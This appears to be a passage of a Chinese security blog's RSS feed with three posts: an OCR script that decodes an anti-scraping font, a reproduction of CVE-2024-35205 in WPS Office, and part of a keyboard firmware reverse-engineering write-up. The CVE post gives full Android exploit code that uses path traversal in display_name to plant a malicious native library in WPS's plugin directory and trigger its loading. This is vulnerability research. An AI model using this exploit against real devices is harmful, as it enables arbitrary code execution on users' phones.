      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E7%88%AC%E8%99%AB/">爬虫</category>
      <pubDate>Thu, 31 Oct 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>界面上显示明明是这个，复制下来却是 “<em>微北班略声讲哪取，随土便常师想纪撰还，提述融售母酒纪个？</em>” 简单分析后发现这些文字都使用了特殊的反爬字体，其实就是经过了置换处理。</p><p><img src="/posts/%E5%AD%97%E4%BD%93%E5%8F%8D%E7%88%AC%E5%AF%B9%E6%8A%97/be670c9709f942a2f37ab09fc7b4ab1b.png" alt="image.png"></p><p>对于这种字体反爬场景可以，使用通过 <code>OCR</code> 识别拉表对抗，下面是通过 paddle 的 OCR 模型的一种实现。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> fontTools.ttLib <span class="keyword">import</span> TTFont</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image, ImageDraw, ImageFont</span><br><span class="line"><span class="keyword">from</span> paddleocr <span class="keyword">import</span> PaddleOCR</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_character_image</span>(<span class="params">unicode_char, size=<span class="number">120</span>, color=(<span class="params"><span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span></span>), background=(<span class="params"><span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span></span>)</span>) -&gt; Image:</span><br><span class="line">    <span class="comment"># 使用 Pillow 创建图像</span></span><br><span class="line">    img = Image.new(<span class="string">&#x27;RGB&#x27;</span>, (size, size), background)</span><br><span class="line">    draw = ImageDraw.Draw(img)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 加载字体</span></span><br><span class="line">    font = ImageFont.truetype(<span class="string">&#x27;exam_font_75f40cd3f2514aae89c62ff49d571f02.ttf&#x27;</span>, <span class="number">100</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 获取文本的宽度和高度</span></span><br><span class="line">    _, _, text_width, text_height = font.getbbox(unicode_char)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 在图像中央绘制文本</span></span><br><span class="line">    x = (size - text_width) / <span class="number">2</span></span><br><span class="line">    y = (size - text_height) / <span class="number">2</span></span><br><span class="line">    draw.text((x, y), unicode_char, font=font, fill=color, stroke_width=<span class="number">1.0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> img</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    exam_font = TTFont(<span class="string">&#x27;./exam_font_75f40cd3f2514aae89c62ff49d571f02.ttf&#x27;</span>)</span><br><span class="line">    ocr = PaddleOCR(lang=<span class="string">&#x27;ch&#x27;</span>)</span><br><span class="line">    rec_result = <span class="built_in">dict</span>()</span><br><span class="line">    <span class="keyword">for</span> table <span class="keyword">in</span> exam_font[<span class="string">&#x27;cmap&#x27;</span>].tables:</span><br><span class="line">        <span class="keyword">if</span> table.isUnicode():</span><br><span class="line">            <span class="keyword">for</span> k <span class="keyword">in</span> table.cmap.keys():</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">chr</span>(k) <span class="keyword">in</span> rec_result:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                img_path = <span class="string">f&#x27;./images/<span class="subst">&#123;k&#125;</span>.png&#x27;</span></span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(img_path):</span><br><span class="line">                    get_character_image(<span class="built_in">chr</span>(k)).save(img_path)</span><br><span class="line">                text, _  = ocr.ocr(img_path, det=<span class="literal">False</span>, cls=<span class="literal">False</span>)[<span class="number">0</span>][<span class="number">0</span>]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;img_path&#125;</span>: <span class="subst">&#123;<span class="built_in">chr</span>(k)&#125;</span> -&gt; <span class="subst">&#123;text&#125;</span>&#x27;</span>)</span><br><span class="line">                rec_result[<span class="built_in">chr</span>(k)] = text</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;rec_result.json&#x27;</span>, <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        rec_map_json = json.dumps(rec_result)</span><br><span class="line">        f.write(rec_map_json)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>CVE-2024-35205 WPS Office 海外版任意代码执行漏洞</title>
      <link>https://blog.gaoyucan.site/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/</link>
      <description>
        <![CDATA[<p>WPS Office 国际版存在 DirtyStream 漏洞，如下图所示，可以将错误的文件内容或者文件参数传递给Share Target App，以使得Share Target App错误的处理接收到的信息，实现一系列攻击。</p>
<p><img src="/posts]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/Pwn/">Pwn</category>
      <category domain="https://blog.gaoyucan.site/tags/Android/">Android</category>
      <category domain="https://blog.gaoyucan.site/tags/CVE%E5%A4%8D%E7%8E%B0/">CVE复现</category>
      <pubDate>Mon, 07 Oct 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>WPS Office 国际版存在 DirtyStream 漏洞，如下图所示，可以将错误的文件内容或者文件参数传递给Share Target App，以使得Share Target App错误的处理接收到的信息，实现一系列攻击。</p><p><img src="/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/14b39979c914800a2ecfeb6892b7df1e.png" alt="image.png"></p><p>首先分析 WPS Office 国际版 <code>AndroidManifest.xml</code> 文件，<code>cn.wps.upload_activity</code> 作为一个<code>ShareTarget</code> 用于处理<strong>分享者</strong>提供的内容。</p><p><img src="/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/4beaef1da1536767b478f3fde6fb5ed4.png" alt="image.png"></p><p>在处理 content 类型的文件时，通过 query 查询获取 display_name，未对 displayName 进行过滤，存在目录穿越漏洞，可以向 WPS 私有目录中写入文件</p><p><img src="/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/00e5e7045008b31c790f26b954d22c7c.png" alt="image.png"></p><p>至此实现了对 WPS 私有目录的写入，但是这是一个任意代码执行漏洞，这个考虑存在热更新或者插件化功能，通过写入恶意插件文件实现任意任意代码执行，搜索 <code>System.load</code> 函数的使用，发现此处可以利用，这是一处 OCR功能，可以通过启动 <code>MultipleImageToTextActivity</code> 这个类，传入任意图片触发加载。</p><p><img src="/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/41ed3dc3244b47f6ec3345508c680497.png" alt="image.png"></p><p>因此，利用过程如下：</p><ol><li>启动 <code>MultipleImageToTextActivity</code> 创建插件目录</li><li>目录穿越写入恶意插件文件</li><li>再次启动 <code>MultipleImageToTextActivity</code> 触发恶意插件文件加载</li></ol><p>效果如下：</p><p><img src="/posts/cve-2024-35205-wps-office-%E6%B5%B7%E5%A4%96%E7%89%88%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/f2e1467db6915b181b945b9bff220098.png" alt="image.png"></p><p>附上完整代码：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// MainActivity</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.s1nk.myapplication;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.content.ComponentName;</span><br><span class="line"><span class="keyword">import</span> android.content.Context;</span><br><span class="line"><span class="keyword">import</span> android.content.Intent;</span><br><span class="line"><span class="keyword">import</span> android.net.Uri;</span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.widget.Button;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.activity.EdgeToEdge;</span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"><span class="keyword">import</span> androidx.core.graphics.Insets;</span><br><span class="line"><span class="keyword">import</span> androidx.core.view.ViewCompat;</span><br><span class="line"><span class="keyword">import</span> androidx.core.view.WindowInsetsCompat;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.OutputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        EdgeToEdge.enable(<span class="built_in">this</span>);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -&gt; &#123;</span><br><span class="line">            <span class="type">Insets</span> <span class="variable">systemBars</span> <span class="operator">=</span> insets.getInsets(WindowInsetsCompat.Type.systemBars());</span><br><span class="line">            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);</span><br><span class="line">            <span class="keyword">return</span> insets;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="comment">// 释放文件</span></span><br><span class="line">        extractEvilFile();</span><br><span class="line"></span><br><span class="line">        <span class="type">Button</span> <span class="variable">btnCreateOCRPluginDir</span> <span class="operator">=</span> findViewById(R.id.btn_create_ocr_plugin_dir);</span><br><span class="line">        btnCreateOCRPluginDir.setOnClickListener(v -&gt; &#123;</span><br><span class="line">            createOcrPluginDir();</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="type">Button</span> <span class="variable">btnWriteEvilFile</span> <span class="operator">=</span> findViewById(R.id.btn_write_evil_file);</span><br><span class="line">        btnWriteEvilFile.setOnClickListener(v -&gt; &#123;</span><br><span class="line">            <span class="comment">// /data/user/0/cn.wps.moffice_eng/</span></span><br><span class="line">            writeEvilFile(<span class="string">&quot;/data/user/0/com.s1nk.myapplication/files/mp50.db&quot;</span>, <span class="string">&quot;/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/db/mp50.db&quot;</span>);</span><br><span class="line">            writeEvilFile(<span class="string">&quot;/data/user/0/com.s1nk.myapplication/files/hw_eng20.db&quot;</span>, <span class="string">&quot;/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/db/hw_eng20.db&quot;</span>);</span><br><span class="line">            writeEvilFile(<span class="string">&quot;/data/user/0/com.s1nk.myapplication/files/libhw_instanttrans.so&quot;</span>, <span class="string">&quot;/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/armeabi/libhw_instanttrans.so&quot;</span>);</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">extractEvilFile</span><span class="params">()</span> &#123;</span><br><span class="line">        moveAssetToDir(<span class="built_in">this</span>, <span class="string">&quot;mp50.db&quot;</span>);</span><br><span class="line">        moveAssetToDir(<span class="built_in">this</span>, <span class="string">&quot;hw_eng20.db&quot;</span>);</span><br><span class="line">        moveAssetToDir(<span class="built_in">this</span>, <span class="string">&quot;libhw_instanttrans.so&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">copyFile</span><span class="params">(InputStream in, OutputStream out)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">        <span class="type">int</span> read;</span><br><span class="line">        <span class="keyword">while</span> ((read = in.read(buffer)) != -<span class="number">1</span>) &#123;</span><br><span class="line">            out.write(buffer, <span class="number">0</span>, read);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">moveAssetToDir</span><span class="params">(Context context, String filename)</span> &#123;</span><br><span class="line">        <span class="type">OutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> context.getAssets().open(filename)) &#123;</span><br><span class="line">            <span class="type">File</span> <span class="variable">outFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(context.getFilesDir(), filename);</span><br><span class="line">            out = <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(outFile);</span><br><span class="line">            copyFile(in, out);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException ignored) &#123;</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (out != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    out.close();</span><br><span class="line">                &#125; <span class="keyword">catch</span> (IOException ignored) &#123;&#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">writeEvilFile</span><span class="params">(String srcPath, String destPath)</span> &#123;</span><br><span class="line">        <span class="type">Intent</span> <span class="variable">intent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>(Intent.ACTION_SEND);</span><br><span class="line">        intent.setComponent(<span class="keyword">new</span> <span class="title class_">ComponentName</span>(<span class="string">&quot;cn.wps.moffice_eng&quot;</span>, <span class="string">&quot;cn.wps.upload_activity&quot;</span>));</span><br><span class="line">        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);</span><br><span class="line">        <span class="type">Uri</span> <span class="variable">uri</span> <span class="operator">=</span> Uri.parse(<span class="string">&quot;content://com.s1nk.myapplication.provider/&quot;</span> + srcPath + <span class="string">&quot;?display_name=../../../../../../../../../..&quot;</span> + destPath);</span><br><span class="line">        intent.setDataAndType(uri, <span class="string">&quot;application/pdf&quot;</span>);</span><br><span class="line">        startActivity(intent);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">createOcrPluginDir</span><span class="params">()</span> &#123;</span><br><span class="line">        ArrayList&lt;String&gt; imagePathArr = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        imagePathArr.add(<span class="string">&quot;/storage/emulated/0/DCIM/Camera/PXL_20240903_033847893.jpg&quot;</span>);</span><br><span class="line">        <span class="type">Intent</span> <span class="variable">intent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>();</span><br><span class="line">        intent.setComponent(<span class="keyword">new</span> <span class="title class_">ComponentName</span>(<span class="string">&quot;cn.wps.moffice_eng&quot;</span>, <span class="string">&quot;cn.wps.moffice.main.scan.ui.MultipleImageToTextActivity&quot;</span>));</span><br><span class="line">        intent.putExtra(<span class="string">&quot;cn.wps.moffice_extra_image_paths&quot;</span>, imagePathArr);</span><br><span class="line">        startActivity(intent);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// S1nkContentProvider</span></span><br><span class="line"><span class="keyword">package</span> com.s1nk.myapplication;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.content.ContentProvider;</span><br><span class="line"><span class="keyword">import</span> android.content.ContentValues;</span><br><span class="line"><span class="keyword">import</span> android.database.Cursor;</span><br><span class="line"><span class="keyword">import</span> android.database.MatrixCursor;</span><br><span class="line"><span class="keyword">import</span> android.net.Uri;</span><br><span class="line"><span class="keyword">import</span> android.os.ParcelFileDescriptor;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.annotation.NonNull;</span><br><span class="line"><span class="keyword">import</span> androidx.annotation.Nullable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">S1nkContentProvider</span> <span class="keyword">extends</span> <span class="title class_">ContentProvider</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">onCreate</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> ParcelFileDescriptor <span class="title function_">openFile</span><span class="params">(<span class="meta">@NonNull</span> Uri uri, <span class="meta">@NonNull</span> String mode)</span> <span class="keyword">throws</span> FileNotFoundException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> uri.getPath();</span><br><span class="line">        Log.e(<span class="string">&quot;s1nk&quot;</span>, <span class="string">&quot;openFile: &quot;</span> + path);</span><br><span class="line">        <span class="keyword">if</span> (path != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(path);</span><br><span class="line">            <span class="keyword">if</span> (file.exists()) &#123;</span><br><span class="line">                <span class="keyword">return</span> ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.openFile(uri, mode);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Cursor <span class="title function_">query</span><span class="params">(<span class="meta">@NonNull</span> Uri uri, <span class="meta">@Nullable</span> String[] projection, <span class="meta">@Nullable</span> String selection, <span class="meta">@Nullable</span> String[] selectionArgs, <span class="meta">@Nullable</span> String sortOrder)</span> &#123;</span><br><span class="line">        <span class="type">MatrixCursor</span> <span class="variable">cursor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MatrixCursor</span>(<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;_display_name&quot;</span>&#125;);</span><br><span class="line">        Log.e(<span class="string">&quot;s1nk&quot;</span>, <span class="string">&quot;query: &quot;</span> + uri.toString());</span><br><span class="line">        <span class="type">String</span> <span class="variable">displayName</span> <span class="operator">=</span> uri.getQueryParameter(<span class="string">&quot;display_name&quot;</span>);</span><br><span class="line">        cursor.addRow(<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;displayName&#125;);</span><br><span class="line">        <span class="keyword">return</span> cursor;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getType</span><span class="params">(<span class="meta">@NonNull</span> Uri uri)</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>(<span class="string">&quot;Not implemented&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Nullable</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Uri <span class="title function_">insert</span><span class="params">(<span class="meta">@NonNull</span> Uri uri, <span class="meta">@Nullable</span> ContentValues values)</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>(<span class="string">&quot;Not implemented&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">delete</span><span class="params">(<span class="meta">@NonNull</span> Uri uri, <span class="meta">@Nullable</span> String selection, <span class="meta">@Nullable</span> String[] selectionArgs)</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>(<span class="string">&quot;Not implemented&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">update</span><span class="params">(<span class="meta">@NonNull</span> Uri uri, <span class="meta">@Nullable</span> ContentValues values, <span class="meta">@Nullable</span> String selection, <span class="meta">@Nullable</span> String[] selectionArgs)</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnsupportedOperationException</span>(<span class="string">&quot;Not implemented&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>恶意 SO 文件，这里就简单的打印了一行日志：</p><figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;android/log.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;jni.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function">JNIEXPORT jint JNICALL <span class="title">JNI_OnLoad</span><span class="params">(JavaVM *vm, <span class="type">void</span> *reserved)</span> </span>&#123;</span><br><span class="line">    JNIEnv *env;</span><br><span class="line">    <span class="keyword">if</span> (vm-&gt;<span class="built_in">GetEnv</span>(<span class="built_in">reinterpret_cast</span>&lt;<span class="type">void</span> **&gt;(&amp;env), JNI_VERSION_1_6) != JNI_OK) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    __android_log_print(ANDROID_LOG_ERROR, <span class="string">&quot;s1nk&quot;</span>, <span class="string">&quot;injected by s1nk&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> JNI_VERSION_1_6;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>iMK 键盘逆向</title>
      <link>https://blog.gaoyucan.site/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/</link>
      <description>
        <![CDATA[<h2 id="00-背景"><a href="#00-背景" class="headerlink" title="00. 背景"></a>00. 背景</h2><p>买的键盘不支持 VIA，改建只能找客服，这家店的技术有点忙，还有点傻。等了三天，没给我改成功 🤬，哥们是什么善]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/%E5%B5%8C%E5%85%A5%E5%BC%8F/">嵌入式</category>
      <category domain="https://blog.gaoyucan.site/tags/%E6%95%B4%E6%B4%BB/">整活</category>
      <pubDate>Sun, 25 Aug 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="00-背景"><a href="#00-背景" class="headerlink" title="00. 背景"></a>00. 背景</h2><p>买的键盘不支持 VIA，改建只能找客服，这家店的技术有点忙，还有点傻。等了三天，没给我改成功 🤬，哥们是什么善茬吗？直接 Ghidra 启动！</p><ul><li><p>详情</p><p>  <img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/1f8077030a89047cdec0bb83c0ebdf3a.jpg" alt="30074fb076b627de423b66caba315936_720.jpg"></p></li></ul><h2 id="01-基本按键映射修改"><a href="#01-基本按键映射修改" class="headerlink" title="01. 基本按键映射修改"></a>01. 基本按键映射修改</h2><p>芯片是南京沁恒的 <code>CH582</code> ，用的一个32位的RISC处理器，支持RV32IMAC指令集。客服给的固件是 intel hex 格式的，肯定是没有任何符号信息了，但是根据字符串拿官方库 bindiff 固件可以恢复 90% 的符号。</p><blockquote><p>研究了一下，代码都是从第一行指令开始执行，最开始的代码都是把一堆东西映射到 <code>0x20000000</code> 这个地址，这个地址应该是 RAM 地址，为了把常用的东西放到 RAM 里提升效率，代码里看到 <code>0x20000000</code> 的地址自己映射一下就行了，本文实际上没用到，不再展开。</p></blockquote><p>基本按键映射比较简单，一般来说都有一个数组来保存像这样，所以修改基本按键映射应该不用分析</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/dfb0c8b9d3793c91ac28ccf71ba45851.png" alt="image.png"></p><p>我尝试搜索 <code>14 26 08 15 17</code> (即，QWERT）但是搜索不到，拿到原版和修改版之后 diff 一下。</p><p>0x40（这个键实际上是右边的   alt） → 0x35（~&#96;）</p><p>0x20（这个键实际上是右边的shift） → 0x40（F7）</p><p>0x4C（DEL） → 0x41（F8）</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/48f0eff987ca37bc6ca9ef1907cb6b19.png" alt="image.png"></p><p>提取出来之后发现是按列存储的，如下图</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/ba543114d96d2ae068c1d3a63d9a1263.png" alt="ba543114d96d2ae068c1d3a63d9a1263.png"></p><p>其中红色的部分是键盘中不包含的按键，未知按键中 0xfe 为Fn，其他的按下图中解释即可。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/981403942fff5011e48cac4385af8aa4.png" alt="image.png"></p><p>这里上图中的 8 个并不是正常的 value，在协议中和正常的按键位置不同，所以在代码中必然有针对他们的判断，配置好内存映射，直接交叉引用就看到了。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/d8a0bc03fac8ab1a190e7ebfb152e494.png" alt="image.png"></p><p>逻辑基本上就是判断位置，这里我们把要修改成不是控制按键的地方全都改成 0xff 让他永远都不成立就行了。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/cf01913b851168d68b240322bfc1004d.png" alt="image.png"></p><p>剩下的修改基本按键映射，修改这个数组中的对应位置即可。</p><h2 id="02-Fn-组合键修改"><a href="#02-Fn-组合键修改" class="headerlink" title="02. Fn 组合键修改"></a>02. Fn 组合键修改</h2><p>基本按键映射修改好了，但是更关键的是组合键。为此，我看了一下 Github 上一些开源键盘的 Fn 组合键的实现方式，一般是类似基本按键也有一个映射表。如果是这样就简单了，和上面类似只需要diff 一下找到这个映射表，对着修改就行了，但是很不幸这个开发者没有这样做。</p><p>要分析代码实现了吗？有点绝望，突然发现一个字符串 <code>f12_deal</code> 这不就是我要找的  Fn 组合键处理逻辑吗！因为这是一个左移 64 的小键盘没有 f1 - f12 ，需要用 Fn + 数字键实现。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/ec0905662e350d243a4380e09b269009.png" alt="image.png"></p><p><code>f12_deal</code> 这个没有找到交叉引用（使用 Binary Ninja 查看有交叉引用），但是和它相邻的 <code>f10_deal</code> 有。直接跟过去看看：</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/d176c4bc8f79345280ee4f3827cf3cdc.png" alt="image.png"></p><p>发现相邻的很多函数都是 Fn 组合键处理逻辑，但是这些函数找交叉引用都找不到，合理怀疑是用函数指针调用的，因为一般实现都是有个表，直接 010 Editor 搜一下：</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/2dd8f1779b553514fd52914795d9f24b.png" alt="image.png"></p><p>很明显的结构：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">strcut fn_layer_handler &#123;</span><br><span class="line">    uint32_t idx;</span><br><span class="line">  void* fn_ptr;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span 